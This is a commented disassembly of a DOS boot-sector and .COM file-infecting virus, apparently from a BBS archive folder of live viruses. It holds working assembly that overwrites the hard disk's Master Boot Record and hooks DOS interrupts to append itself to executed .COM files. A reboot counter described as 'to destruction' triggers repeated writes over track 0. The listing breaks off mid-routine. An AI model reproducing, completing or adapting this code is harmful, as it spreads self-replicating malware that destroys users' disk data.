home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / qmu_com.asm < prev    next >
Assembly Source File  |  1991-05-07  |  22KB  |  675 lines

  1. seg_a    segment    byte public
  2.     assume    cs:seg_a, ds:seg_a
  3.  
  4.     org    100h
  5.  
  6. start:    jmp    l_0CBD                    ;0100  E9 0BBA
  7. d_0103    db    4Ah                    ;0103  4A
  8.  
  9. ;-------------------------------------------------------------
  10. ;    Victim code here
  11.     org    076Bh
  12.  
  13. ;=============================================================
  14. ;    begin of virus code
  15. ;-------------------------------------------------------------
  16.     db    0E9h, 02Ah, 068h            ;076B  E9 2A 68
  17.     dec    dx                    ;076E  4A
  18.  
  19. ;=============================================================
  20. ;    Partition table buffer
  21. ;-------------------------------------------------------------
  22. r_0104:    jmp    short l_0775                ;076F  EB 04
  23.     db     90h                    ;0771  90
  24.  
  25.     db     'QQ'        ;contamination sygnature    ;0772  51 51
  26.     db     64h                    ;0774  64
  27.  
  28. l_0775:    push    cs                    ;0775  0E
  29.     pop    ax                    ;0776  58
  30.     cmp    ax,0                    ;0777  3D 0000
  31.     je    l_077F                    ;077A  74 03
  32.     jmp    short l_07D2                ;077C  EB 54
  33.     db    90h                    ;077E  90
  34. l_077F:                            ;077F
  35.     cmp    byte ptr cs:[7C05h],0            ;077F  2E: 80 3E 7C05 00
  36.     jne    l_0799                    ;0785  75 12
  37. l_0787:                            ;0787
  38.     mov    ax,310h                    ;0787  B8 0310
  39.     mov    cx,1                    ;078A  B9 0001
  40.     mov    dx,80h                    ;078D  BA 0080
  41.     mov    bx,0                    ;0790 .BB 0000
  42.     int    13h    ; Disk  dl=drive 0  ah=func 03h    ;0793  CD 13
  43.             ;  write sectors from mem es:bx
  44.     stc                        ;0795  F9
  45.     cli                        ;0796  FA
  46.     jc    l_0787                    ;0797  72 EE
  47. l_0799:                            ;0799
  48.     xor    ax,ax                    ;0799  33 C0
  49.     mov    es,ax                    ;079B  8E C0
  50.     dec    byte ptr cs:[7C05h]            ;079D  2E: FE 0E 7C05
  51.     mov    ax,301h                    ;07A2  B8 0301
  52.     mov    cx,1                    ;07A5  B9 0001
  53.     mov    dx,80h                    ;07A8  BA 0080
  54.     mov    bx,7C00h                ;07AB .BB 7C00
  55.     int    13h    ; Disk  dl=drive 0  ah=func 03h    ;07AE  CD 13
  56.             ;  write sectors from mem es:bx
  57.     mov    ax,1000h                ;07B0  B8 1000
  58.     mov    es,ax                    ;07B3  8E C0
  59.     mov    ax,0                    ;07B5  B8 0000
  60.     mov    ds,ax                    ;07B8  8E D8
  61.     mov    di,7C00h                ;07BA .BF 7C00
  62.     mov    si,di                    ;07BD  8B F7
  63.     cld                        ;07BF  FC
  64.     mov    cx,200h                    ;07C0  B9 0200
  65.     rep    movsb                    ;07C3  F3/ A4
  66.     mov    ax,1000h                ;07C5  B8 1000
  67.     push    ax                    ;07C8  50
  68.     mov    ax,7C00h                ;07C9  B8 7C00
  69.     push    ax                    ;07CC  50
  70.     mov    bp,sp                    ;07CD  8B EC
  71. ;*    jmp    dword ptr [bp]        ;*1 entry    ;07CF  FF 6E 00
  72.     db    0FFh, 6Eh, 00h                ;07CF  FF 6E 00
  73. l_07D2:                            ;07D2
  74.     xor    ax,ax                    ;07D2  33 C0
  75.     mov    ds,ax                    ;07D4  8E D8
  76.     mov    ax,27Bh                    ;07D6  B8 027B
  77.     mov    ds:[0413h],ax                ;07D9  A3 0413
  78.     mov    ax,9F00h                ;07DC  B8 9F00
  79.     mov    es,ax                    ;07DF  8E C0
  80.     mov    bx,0100h                ;07E1 .BB 0100
  81.     mov    al,8                    ;07E4  B0 08
  82.     mov    ah,2                    ;07E6  B4 02
  83.     mov    ch,0                    ;07E8  B5 00
  84.     mov    cl,3                    ;07EA  B1 03
  85.     mov    dh,0                    ;07EC  B6 00
  86.     mov    dl,80h                    ;07EE  B2 80
  87.     int    13h    ; Disk  dl=drive 0  ah=func 02h    ;07F0  CD 13
  88.             ;  read sectors to memory es:bx
  89.     xor    ax,ax                    ;07F2  33 C0
  90.     mov    ds,ax                    ;07F4  8E D8
  91.     mov    word ptr ds:[03D4h],'JM'        ;07F6  C7 06 03D4 4A4D
  92.     mov    ax,48Bh                    ;07FC  B8 048B
  93.     mov    ds:[0070h],ax                ;07FF  A3 0070
  94.     mov    word ptr ds:[0072h],9F00h        ;0802  C7 06 0072 9F00
  95.     mov    ax,0                    ;0808  B8 0000
  96.     mov    es,ax                    ;080B  8E C0
  97.     mov    bx,7C00h                ;080D .BB 7C00
  98.     mov    ah,2                    ;0810  B4 02
  99.     mov    al,1                    ;0812  B0 01
  100.     mov    ch,0                    ;0814  B5 00
  101.     mov    cl,2                    ;0816  B1 02
  102.     mov    dh,0                    ;0818  B6 00
  103.     mov    dl,80h                    ;081A  B2 80
  104.     int    13h    ; Disk  dl=drive 0  ah=func 02h    ;081C  CD 13
  105.             ;  read sectors to memory es:bx
  106.     xor    ax,ax                    ;081E  33 C0
  107.     push    ax                    ;0820  50
  108.     mov    ax,7C00h                ;0821  B8 7C00
  109.     push    ax                    ;0824  50
  110.     mov    bp,sp                    ;0825  8B EC
  111. ;*    jmp    dword ptr [bp]        ;*1 entry    ;0827  FF 6E 00
  112.     db    0FFh, 6Eh, 00h                ;0827  FF 6E 00
  113.     db    '. fixed disk.', 0Dh, 0Ah, 0Dh, 0Ah    ;082A  2E 20 66 69 78 65
  114.                             ;0830  64 20 64 69 73 6B
  115.                             ;0836  2E 0D 0A 0D 0A
  116.     db    'Insert COMPAQ DOS diskette in dr'    ;083B  49 6E 73 65 72 74
  117.                             ;0841  20 43 4F 4D 50 41
  118.                             ;0847  51 20 44 4F 53 20
  119.                             ;084D  64 69 73 6B 65 74
  120.                             ;0853  74 65 20 69 6E 20
  121.                             ;0859  64 72
  122.     db    'ive A.', 0Dh, 0Ah, 'Press any ke'    ;085B  69 76 65 20 41 2E
  123.                             ;0861  0D 0A 50 72 65 73
  124.                             ;0867  73 20 61 6E 79 20
  125.                             ;086D  6B 65
  126.     db    'y when ready: '            ;086F  79 20 77 68 65 6E
  127.                             ;0875  20 72 65 61 64 79
  128.                             ;087B  3A 20
  129.     db    7                    ;087D  07
  130.     db    207 dup (0)                ;087E  00CF[00]
  131.     db     80h, 01h, 01h, 00h, 04h, 06h        ;094D  80 01 01 00 04 06
  132.     db     51h, 6Dh, 11h, 00h, 00h, 00h        ;0953  51 6D 11 00 00 00
  133.     db     11h,0AAh, 00h, 00h, 00h, 00h        ;0959  11 AA 00 00 00 00
  134.     db     41h, 6Eh, 04h, 06h, 91h,0DBh        ;095F  41 6E 04 06 91 DB
  135.     db     22h,0AAh, 00h, 00h, 22h,0AAh        ;0965  22 AA 00 00 22 AA
  136.     db     00h, 00h, 55h,0AAh            ;096B  00 00 55 AA
  137. ;----------------------------------------------------------------
  138. ;    partition table end
  139. ;----------------------------------------------------------------
  140.  
  141. r_0304    dw     1460h        ;int 21h offset            ;096F  60 14
  142. r_0306    dw     0273h        ;int 21h segment        ;0971  73 02
  143.  
  144. r_0308    dw     1DADh        ;int 13h offset            ;0973  AD 1D
  145. r_030A    dw     0070h        ;int 13h segment        ;0973  70 00
  146.  
  147.     db     2Bh                    ;0977  2B
  148. r_030D    db     1                        ;0978  01
  149. r_030E    dw     0        ;:= 0C8h            ;0979  00 00
  150.  
  151. r_0310    db     0E9h,34h,05h,01h    ;victim bytes        ;097B  E9 34 05 01
  152.  
  153. r_0314    db    'Bad command or file name',0Dh,0Ah,'$'        ;097F  42 61 64 20 63 6F
  154.                                 ;0985  6D 6D 61 6E 64 20
  155.                                 ;098B  6F 72 20 66 69 6C
  156.                                 ;0991  65 20 6E 61 6D 65
  157.                                 ;0997  0D 0A 24
  158.  
  159.     db     05h, 00h, 6Bh, 06h            ;099A  05 00 6B 06
  160.  
  161. ;===============================================================
  162. ;    Is virus resident ?
  163. ;---------------------------------------------------------------
  164. s_099E    proc    near
  165.     push    ax                        ;099E  50
  166.     push    ds                        ;099F  1E
  167.     xor    ax,ax                        ;09A0  33 C0
  168.     mov    ds,ax                        ;09A2  8E D8
  169.     cmp    word ptr ds:[03D4h],'JM'    ;int F5h    ;09A4  81 3E 03D4 4A4D
  170.     je    l_09B0                        ;09AA  74 04
  171.     clc                ;<- NOT resident    ;09AC  F8
  172.     jmp    short l_09B1                    ;09AD  EB 02
  173.     db    90h                        ;09AF  90
  174.  
  175. l_09B0:    stc                ;<- YES, resident    ;09B0  F9
  176. l_09B1:    pop    ds                        ;09B1  1F
  177.     pop    ax                        ;09B2  58
  178.     retn                            ;09B3  C3
  179. s_099E    endp
  180.  
  181. ;===============================================================
  182. ;    Set infection flag
  183. ;---------------------------------------------------------------
  184. s_09B4    proc    near
  185.     push    ax                        ;09B4  50
  186.     push    ds                        ;09B5  1E
  187.     xor    ax,ax                        ;09B6  33 C0
  188.     mov    ds,ax                        ;09B8  8E D8
  189.     mov    word ptr ds:[03D4h],'JM'            ;09BA  C7 06 03D4 4A4D
  190.     pop    ds                        ;09C0  1F
  191.     pop    ax                        ;09C1  58
  192.     retn                            ;09C2  C3
  193. s_09B4    endp
  194.  
  195. ;===============================================================
  196. ;    Contamine first hard disk drive
  197. ;---------------------------------------------------------------
  198. s_09C3    proc    near
  199.     push    ds                        ;09C3  1E
  200.     push    es                        ;09C4  06
  201.     push    cs                        ;09C5  0E
  202.     pop    ds                        ;09C6  1F
  203.     mov    ah,2        ;read                ;09C7  B4 02
  204.     mov    al,1        ;1 sector            ;09C9  B0 01
  205.     mov    ch,0        ;track 0            ;09CB  B5 00
  206.     mov    cl,1        ;sector 1            ;09CD  B1 01
  207.     mov    dh,0        ;head 0                ;09CF  B6 00
  208.     mov    dl,80h        ;first hard disk drive        ;09D1  B2 80
  209.     push    cs                        ;09D3  0E
  210.     pop    es                        ;09D4  07
  211.     mov    bx,0104h    ;= l_076F            ;09D5 .BB 0104
  212.     int    13h                        ;09D8  CD 13
  213.  
  214.     cmp    cs:[0107h],'QQ'    ;contamination signature    ;09DA  2E: 81 3E 0107 5151
  215.     je    l_0A38        ;-> allready infected        ;09E1  74 55
  216.     mov    word ptr cs:[30Eh],0C8h        ;= l_0979    ;09E3  2E: C7 06 030E 00C8
  217.     mov    byte ptr cs:[30Dh],1        ;= l_0978    ;09EA  2E: C6 06 030D 01
  218.     mov    byte ptr cs:[3D5h],64h        ;= l_0A40    ;09F0  2E: C6 06 03D5 64
  219.  
  220.     mov    ah,3        ;write                ;09F6  B4 03
  221.     mov    al,1        ;1 sector            ;09F8  B0 01
  222.     mov    ch,0        ;track 0            ;09FA  B5 00
  223.     mov    cl,2        ;sector 2            ;09FC  B1 02
  224.     mov    dh,0        ;head 0                ;09FE  B6 00
  225.     mov    dl,80h        ;1 HD Drive            ;0A00  B2 80
  226.     mov    bx,104h        ;= offset l_076F        ;0A02 .BB 0104
  227.     int    13h                        ;0A05  CD 13
  228.  
  229.                 ;<- make new Master Boot Record
  230.     mov    cx,0BBh                        ;0A07  B9 00BB
  231.     inc    cx                        ;0A0A  41
  232.     mov    si,3D0h        ;= offset l_0A3B        ;0A0B .BE 03D0
  233.     mov    di,104h        ;= offset l_076F        ;0A0E .BF 0104
  234.     cld                            ;0A11  FC
  235.     rep    movsb                        ;0A12  F3/ A4
  236.     mov    ah,3        ;write                ;0A14  B4 03
  237.     mov    al,1        ;1 sector            ;0A16  B0 01
  238.     mov    ch,0        ;track 0            ;0A18  B5 00
  239.     mov    cl,1        ;sector 1            ;0A1A  B1 01
  240.     mov    dh,0        ;head 0                ;0A1C  B6 00
  241.     mov    dl,80h        ;1-st HD Drive            ;0A1E  B2 80
  242.     mov    bx,0104h    ;= offset L_076F        ;0A20 .BB 0104
  243.     int    13h                        ;0A23  CD 13
  244.  
  245.     mov    al,8        ;8 sectors            ;0A25  B0 08
  246.     mov    ah,3        ;write                ;0A27  B4 03
  247.     mov    ch,0        ;track 0            ;0A29  B5 00
  248.     mov    cl,3        ;sector 3            ;0A2B  B1 03
  249.     mov    dh,0        ;head 0                ;0A2D  B6 00
  250.     mov    dl,80h        ;1-st HD Drive            ;0A2F  B2 80
  251.     mov    bx,100h        ;= offset L076B            ;0A31 .BB 0100
  252.     push    cs                        ;0A34  0E
  253.     pop    es                        ;0A35  07
  254.     int    13h                        ;0A36  CD 13
  255.  
  256.             ;<-- partition table allready infected
  257. l_0A38:    pop    es                        ;0A38  07
  258.     pop    ds                        ;0A39  1F
  259.     retn                            ;0A3A  C3
  260. s_09C3    endp
  261.  
  262. ;================================================================
  263. ;    Master Boot Record code pattern
  264. ;----------------------------------------------------------------
  265.     jmp    short l_0A41                    ;0A3B  EB 04
  266.     db    90h                        ;0A3D  90
  267.     db    51h, 51h                    ;0A3E  51 51
  268. r_03D5    db    64h        ;reboot    counter to destruction    ;0A40  64
  269.  
  270. l_0A41:    push    cs                        ;0A41  0E
  271.     pop    ax                        ;0A42  58
  272.     cmp    ax,0                        ;0A43  3D 0000
  273.     je    l_0A4B                        ;0A46  74 03
  274.     jmp    short l_0A9E                    ;0A48  EB 54
  275.     db    90h                        ;0A4A  90
  276.  
  277. l_0A4B:    cmp    byte ptr cs:[7C05h],0    ;= r_0305        ;0A4B  2E: 80 3E 7C05 00
  278.     jne    l_0A65                        ;0A51  75 12
  279. l_0A53:    mov    ax,0310h    ;write 16 sectors        ;0A53  B8 0310
  280.     mov    cx,1        ;track 0, sector 0        ;0A56  B9 0001
  281.     mov    dx,80h        ;head 0, HDD 0            ;0A59  BA 0080
  282.     mov    bx,0        ;buffer                ;0A5C .BB 0000
  283.     int    13h                        ;0A5F  CD 13
  284.  
  285.     stc                            ;0A61  F9
  286.     cli                            ;0A62  FA
  287.     jc    l_0A53                        ;0A63  72 EE
  288. l_0A65:    xor    ax,ax                        ;0A65  33 C0
  289.     mov    es,ax                        ;0A67  8E C0
  290.     dec    byte ptr cs:[7C05h]    ;reboot counter        ;0A69  2E: FE 0E 7C05
  291.     mov    ax,301h        ;write counter to disk        ;0A6E  B8 0301
  292.     mov    cx,1                        ;0A71  B9 0001
  293.     mov    dx,80h                        ;0A74  BA 0080
  294.     mov    bx,7C00h                    ;0A77 .BB 7C00
  295.     int    13h                        ;0A7A  CD 13
  296.  
  297.     mov    ax,1000h    ;make virus boot copy        ;0A7C  B8 1000
  298.     mov    es,ax                        ;0A7F  8E C0
  299.     mov    ax,0                        ;0A81  B8 0000
  300.     mov    ds,ax                        ;0A84  8E D8
  301.     mov    di,7C00h                    ;0A86 .BF 7C00
  302.     mov    si,di                        ;0A89  8B F7
  303.     cld                            ;0A8B  FC
  304.     mov    cx,200h                        ;0A8C  B9 0200
  305.     rep    movsb                        ;0A8F  F3/ A4
  306.     mov    ax,1000h                    ;0A91  B8 1000
  307.     push    ax                        ;0A94  50
  308.     mov    ax,7C00h                    ;0A95  B8 7C00
  309.     push    ax                        ;0A98  50
  310.     mov    bp,sp                        ;0A99  8B EC
  311.     jmp    dword ptr [bp]    ;run boot code again        ;0A9B  FF 6E 00
  312.  
  313. l_0A9E:    xor    ax,ax                        ;0A9E  33 C0
  314.     mov    ds,ax                        ;0AA0  8E D8
  315.     mov    ax,27Bh            ;= 635            ;0AA2  B8 027B
  316.     mov    ds:[0413h],ax        ;BIOS memory size    ;0AA5  A3 0413
  317.     mov    ax,9F00h                    ;0AA8  B8 9F00
  318.     mov    es,ax                        ;0AAB  8E C0
  319.     mov    bx,0100h        ;virus offset        ;0AAD .BB 0100
  320.     mov    al,8            ;8 sectors        ;0AB0  B0 08
  321.     mov    ah,2            ;read            ;0AB2  B4 02
  322.     mov    ch,0            ;track            ;0AB4  B5 00
  323.     mov    cl,3            ;sector            ;0AB6  B1 03
  324.     mov    dh,0            ;head            ;0AB8  B6 00
  325.     mov    dl,80h            ;hdd nr 0        ;0ABA  B2 80
  326.     int    13h                        ;0ABC  CD 13
  327.  
  328.     xor    ax,ax                        ;0ABE  33 C0
  329.     mov    ds,ax                        ;0AC0  8E D8
  330.     mov    word ptr ds:[03D4h],'JM'    ;virus signature;0AC2  C7 06 03D4 4A4D
  331.     mov    ax,48Bh                        ;0AC8  B8 048B
  332.     mov    ds:[0070h],ax            ;int 1Ch offs    ;0ACB  A3 0070
  333.     mov    word ptr ds:[0072h],9F00h    ;int 1Ch seg    ;0ACE  C7 06 0072 9F00
  334.     mov    ax,0                    ;0AD4  B8 0000
  335.     mov    es,ax                    ;0AD7  8E C0
  336.     mov    bx,7C00h                ;0AD9 .BB 7C00
  337.     mov    ah,2                    ;0ADC  B4 02
  338.     mov    al,1                    ;0ADE  B0 01
  339.     mov    ch,0                    ;0AE0  B5 00
  340.     mov    cl,2                    ;0AE2  B1 02
  341.     mov    dh,0                    ;0AE4  B6 00
  342.     mov    dl,80h                    ;0AE6  B2 80
  343.     int    13h    ; Disk  dl=drive 0  ah=func 02h    ;0AE8  CD 13
  344.             ;  read sectors to memory es:bx
  345.     xor    ax,ax                    ;0AEA  33 C0
  346.     push    ax                    ;0AEC  50
  347.     mov    ax,7C00h                ;0AED  B8 7C00
  348.     push    ax                    ;0AF0  50
  349.     mov    bp,sp                    ;0AF1  8B EC
  350. ;*    jmp    dword ptr [bp]        ;*1 entry    ;0AF3  FF 6E 00
  351.     db    0FFh, 6Eh, 00h                ;0AF3  FF 6E 00
  352. ;-------End of MBR pattern
  353.  
  354. ;================================================================
  355. ;    int 1Ch handling routine
  356. ;----------------------------------------------------------------
  357.     cmp    word ptr cs:[30Eh],0                ;0AF6  2E: 83 3E 030E 00
  358.     jne    l_0AFF                        ;0AFC  75 01
  359.     iret                            ;0AFE  CF
  360.  
  361. l_0AFF:    push    ax                    ;0AFF  50
  362.     push    ds                    ;0B00  1E
  363.     xor    ax,ax                    ;0B01  33 C0
  364.     mov    ds,ax                    ;0B03  8E D8
  365.     mov    word ptr ds:[03D4h],'JM'        ;0B05  C7 06 03D4 4A4D
  366.     dec    word ptr cs:[30Eh]            ;0B0B  2E: FF 0E 030E
  367.     cmp    word ptr cs:[30Eh],0            ;0B10  2E: 83 3E 030E 00
  368.     jne    l_0B54                    ;0B16  75 3C
  369.     cli                        ;0B18  FA
  370.     mov    byte ptr cs:[30Dh],0            ;0B19  2E: C6 06 030D 00
  371.     xor    ax,ax                    ;0B1F  33 C0
  372.     mov    ds,ax                    ;0B21  8E D8
  373.     mov    ax,ds:[084h]                ;0B23  A1 0084
  374.     mov    word ptr cs:[304h],ax            ;0B26  2E: A3 0304
  375.     mov    ax,ds:[086h]                ;0B2A  A1 0086
  376.     mov    word ptr cs:[306h],ax            ;0B2D  2E: A3 0306
  377.     mov    ax,ds:[04Ch]                ;0B31  A1 004C
  378.     mov    word ptr cs:[308h],ax            ;0B34  2E: A3 0308
  379.     mov    ax,ds:[04Eh]                ;0B38  A1 004E
  380.     mov    word ptr cs:[30Ah],ax            ;0B3B  2E: A3 030A
  381.     mov    word ptr ds:[084h],51Bh            ;0B3F  C7 06 0084 051B
  382.     mov    ds:[086h],cs                ;0B45  8C 0E 0086
  383.     mov    word ptr ds:[04Ch],4ECh            ;0B49  C7 06 004C 04EC
  384.     mov    ds:[04Eh],cs                ;0B4F  8C 0E 004E
  385.     sti                        ;0B53  FB
  386. l_0B54:    pop    ds                    ;0B54  1F
  387.     pop    ax                    ;0B55  58
  388.     iret                        ;0B56  CF
  389.  
  390. ;===============================================================
  391. ;    Int 13 handling routine
  392. ;---------------------------------------------------------------
  393.     CMP     BYTE PTR cs:[030Dh],1            ;0B57 2E803E0D0301
  394.     JZ      l_0B81                    ;0B5D 7422
  395.     CMP     AH,2                    ;0B5F 80FC02
  396.     JNZ     l_0B81                    ;0B62 751D
  397.     INC     BYTE PTR cs:[030Ch]            ;0B64 2EFE060C03
  398.     CMP     BYTE PTR cs:[030Ch],00            ;0B69 2E803E0C0300
  399.     JNZ     l_0B81                    ;0B6F 7510
  400.     PUSHF                        ;0B71 9C
  401.     CALL    dword ptr cs:[0308h]            ;0B72 2EFF1E0803
  402.     MOV     WORD PTR es:[BX+00C8h],'jm'        ;0B77 26C787C8006D6A
  403.     RETF    2                    ;0B7E CA0200
  404. l_0B81:    JMP     dword ptr cs:[0308h]            ;0B81 2EFF2E0803
  405.  
  406. ;===============================================================
  407. ;    Int 21h service routine
  408. ;---------------------------------------------------------------
  409. r_051B:    CMP     AX,4B00h                ;0B86 3D004B
  410.     JZ      l_0B8E                    ;0B89 7403
  411.     JMP     l_0C5F                    ;0B8B E9D100
  412.  
  413. l_0B8E:    push    ax                    ;0B8E  50
  414.     push    bx                    ;0B8F  53
  415.     push    cx                    ;0B90  51
  416.     push    dx                    ;0B91  52
  417.     push    bp                    ;0B92  55
  418.     push    di                    ;0B93  57
  419.     push    si                    ;0B94  56
  420.     push    ds                    ;0B95  1E
  421.     push    es                    ;0B96  06
  422.     call    s_0C64                    ;0B97  E8 00CA
  423.     jnc    l_0B9F                    ;0B9A  73 03
  424.     jmp    l_0C50                    ;0B9C  E9 00B1
  425.  
  426. l_0B9F:    mov    ax,4301h                ;0B9F  B8 4301
  427.     mov    cx,0                    ;0BA2  B9 0000
  428.     int    21h    ; DOS Services  ah=function 43h    ;0BA5  CD 21
  429.             ;  get/set file attrb, nam@ds:dx
  430.     mov    byte ptr cs:[30Dh],1            ;0BA7  2E: C6 06 030D 01
  431.     mov    ah,3Dh            ; '='        ;0BAD  B4 3D
  432.     mov    al,2                    ;0BAF  B0 02
  433.     int    21h    ; DOS Services  ah=function 3Dh    ;0BB1  CD 21
  434.             ;  open file, al=mode,name@ds:dx
  435.     jnc    l_0BB8                    ;0BB3  73 03
  436.     jmp    l_0C50                    ;0BB5  E9 0098
  437.  
  438. l_0BB8:    mov    word ptr cs:[32Fh],ax            ;0BB8  2E: A3 032F
  439.     call    s_0C7F                    ;0BBC  E8 00C0
  440.     jnc    l_0BC4                    ;0BBF  73 03
  441.     jmp    l_0C47                    ;0BC1  E9 0083
  442.  
  443. l_0BC4:    xor    cx,cx                    ;0BC4  33 C9
  444.     mov    dx,cx                    ;0BC6  8B D1
  445.     mov    ax,4200h                ;0BC8  B8 4200
  446.     mov    bx,word ptr cs:[32Fh]            ;0BCB  2E: 8B 1E 032F
  447.     int    21h    ; DOS Services  ah=function 42h    ;0BD0  CD 21
  448.             ;  move file ptr, cx,dx=offset
  449.     mov    cx,4                    ;0BD2  B9 0004
  450.     mov    bx,word ptr cs:[32Fh]            ;0BD5  2E: 8B 1E 032F
  451.     mov    dx,offset ds:[310h]            ;0BDA .BA 0310
  452.     mov    ah,3Fh            ; '?'        ;0BDD  B4 3F
  453.     push    cs                    ;0BDF  0E
  454.     pop    ds                    ;0BE0  1F
  455.     int    21h    ; DOS Services  ah=function 3Fh    ;0BE1  CD 21
  456.             ;  read file, cx=bytes, to ds:dx
  457.     jnc    l_0BE8                    ;0BE3  73 03
  458.     jmp    short l_0C47                ;0BE5  EB 60
  459.     db    90h                    ;0BE7  90
  460.  
  461. l_0BE8:    mov    ax,4202h                ;0BE8  B8 4202
  462.     mov    bx,word ptr cs:[32Fh]            ;0BEB  2E: 8B 1E 032F
  463.     xor    cx,cx                    ;0BF0  33 C9
  464.     xor    dx,dx                    ;0BF2  33 D2
  465.     int    21h    ; DOS Services  ah=function 42h    ;0BF4  CD 21
  466.             ;  move file ptr, cx,dx=offset
  467.     mov    word ptr cs:[331h],ax            ;0BF6  2E: A3 0331
  468.     cmp    dx,0                    ;0BFA  83 FA 00
  469.     je    l_0C02                    ;0BFD  74 03
  470.     jmp    short l_0C47                ;0BFF  EB 46
  471.     db    90h                    ;0C01  90
  472.  
  473. l_0C02:    and    ah,7Fh                    ;0C02  80 E4 7F
  474.     cmp    ax,32h                    ;0C05  3D 0032
  475.     jg    l_0C0D                    ;0C08  7F 03
  476.     jmp    short l_0C47                ;0C0A  EB 3B
  477.     db    90h                    ;0C0C  90
  478.  
  479. l_0C0D:    mov    ah,40h            ; '@'        ;0C0D  B4 40
  480.     mov    bx,word ptr cs:[32Fh]            ;0C0F  2E: 8B 1E 032F
  481.     mov    cx,5E9h                    ;0C14  B9 05E9
  482.     push    cs                    ;0C17  0E
  483.     pop    ds                    ;0C18  1F
  484.     mov    dx,offset ds:[100h]            ;0C19 .BA 0100
  485.     int    21h    ; DOS Services  ah=function 40h    ;0C1C  CD 21
  486.             ;  write file cx=bytes, to ds:dx
  487.     mov    ax,word ptr cs:[331h]            ;0C1E  2E: A1 0331
  488.     add    ax,54Fh                    ;0C22  05 054F
  489.     mov    word ptr cs:[101h],ax            ;0C25  2E: A3 0101
  490.     xor    cx,cx                    ;0C29  33 C9
  491.     xor    dx,dx                    ;0C2B  33 D2
  492.     mov    al,0                    ;0C2D  B0 00
  493.     mov    ah,42h            ; 'B'        ;0C2F  B4 42
  494.     mov    bx,word ptr cs:[32Fh]            ;0C31  2E: 8B 1E 032F
  495.     int    21h    ; DOS Services  ah=function 42h    ;0C36  CD 21
  496.             ;  move file ptr, cx,dx=offset
  497.     mov    cx,4                    ;0C38  B9 0004
  498.     mov    ah,40h            ; '@'        ;0C3B  B4 40
  499.     mov    bx,word ptr cs:[32Fh]            ;0C3D  2E: 8B 1E 032F
  500.     mov    dx,offset ds:[100h]            ;0C42 .BA 0100
  501.     int    21h    ; DOS Services  ah=function 40h    ;0C45  CD 21
  502.             ;  write file cx=bytes, to ds:dx
  503. l_0C47:    mov    bx,word ptr cs:[32Fh]            ;0C47  2E: 8B 1E 032F
  504.     mov    ah,3Eh            ; '>'        ;0C4C  B4 3E
  505.     int    21h    ; DOS Services  ah=function 3Eh    ;0C4E  CD 21
  506.             ;  close file, bx=file handle
  507. l_0C50:    mov    byte ptr cs:[30Dh],0            ;0C50  2E: C6 06 030D 00
  508.     pop    es                    ;0C56  07
  509.     pop    ds                    ;0C57  1F
  510.     pop    si                    ;0C58  5E
  511.     pop    di                    ;0C59  5F
  512.     pop    bp                    ;0C5A  5D
  513.     pop    dx                    ;0C5B  5A
  514.     pop    cx                    ;0C5C  59
  515.     pop    bx                    ;0C5D  5B
  516.     pop    ax                    ;0C5E  58
  517. l_0C5F:    jmp    dword ptr cs:[304h]            ;0C5F  2E: FF 2E 0304
  518.  
  519. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  520. ;               SUBROUTINE
  521. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  522.  
  523. s_0C64    proc    near
  524.     push    ax                    ;0C64  50
  525.     push    bx                    ;0C65  53
  526.     mov    bx,dx                    ;0C66  8B DA
  527.     mov    al,0                    ;0C68  B0 00
  528. l_0C6A:    inc    bx                    ;0C6A  43
  529.     cmp    [bx],al                    ;0C6B  38 07
  530.     jne    l_0C6A                    ;0C6D  75 FB
  531.     mov    ax,4D4Fh                ;0C6F  B8 4D4F
  532.     cmp    [bx-2],ax                ;0C72  39 47 FE
  533.     je    l_0C7B                    ;0C75  74 04
  534.     stc                        ;0C77  F9
  535.     jmp    short l_0C7C                ;0C78  EB 02
  536.     db    90h                    ;0C7A  90
  537. l_0C7B:    clc                        ;0C7B  F8
  538. l_0C7C:    pop    bx                    ;0C7C  5B
  539.     pop    ax                    ;0C7D  58
  540.     retn                        ;0C7E  C3
  541. s_0C64    endp
  542.  
  543.  
  544. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  545. ;               SUBROUTINE
  546. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  547.  
  548. s_0C7F    proc    near
  549.     jmp    short l_0C83                ;0C7F  EB 02
  550.     db     90h, 01h                ;0C81  90 01
  551. l_0C83:    push    ax                    ;0C83  50
  552.     push    bx                    ;0C84  53
  553.     push    cx                    ;0C85  51
  554.     push    dx                    ;0C86  52
  555.     push    es                    ;0C87  06
  556.     push    ds                    ;0C88  1E
  557.     push    cs                    ;0C89  0E
  558.     pop    ds                    ;0C8A  1F
  559.     mov    ax,4200h                ;0C8B  B8 4200
  560.     mov    bx,word ptr cs:[32Fh]            ;0C8E  2E: 8B 1E 032F
  561.     xor    cx,cx                    ;0C93  33 C9
  562.     mov    dx,3                    ;0C95  BA 0003
  563.     int    21h    ; DOS Services  ah=function 42h    ;0C98  CD 21
  564.             ;  move file ptr, cx,dx=offset
  565.     mov    ah,3Fh            ; '?'        ;0C9A  B4 3F
  566.     mov    cx,1                    ;0C9C  B9 0001
  567.     mov    bx,word ptr cs:[32Fh]            ;0C9F  2E: 8B 1E 032F
  568.     mov    dx,0617h                ;0CA4 .BA 0617
  569.     int    21h    ; DOS Services  ah=function 3Fh    ;0CA7  CD 21
  570.             ;  read file, cx=bytes, to ds:dx
  571.     cmp    byte ptr cs:[617h],4Ah    ; 'J'        ;0CA9  2E: 80 3E 0617 4A
  572.     je    l_0CB5                    ;0CAF  74 04
  573.     clc                        ;0CB1  F8
  574.     jmp    short l_0CB6                ;0CB2  EB 02
  575.     db    90h                    ;0CB4  90
  576. l_0CB5:    stc                        ;0CB5  F9
  577. l_0CB6:    pop    es                    ;0CB6  07
  578.     pop    ds                    ;0CB7  1F
  579.     pop    dx                    ;0CB8  5A
  580.     pop    cx                    ;0CB9  59
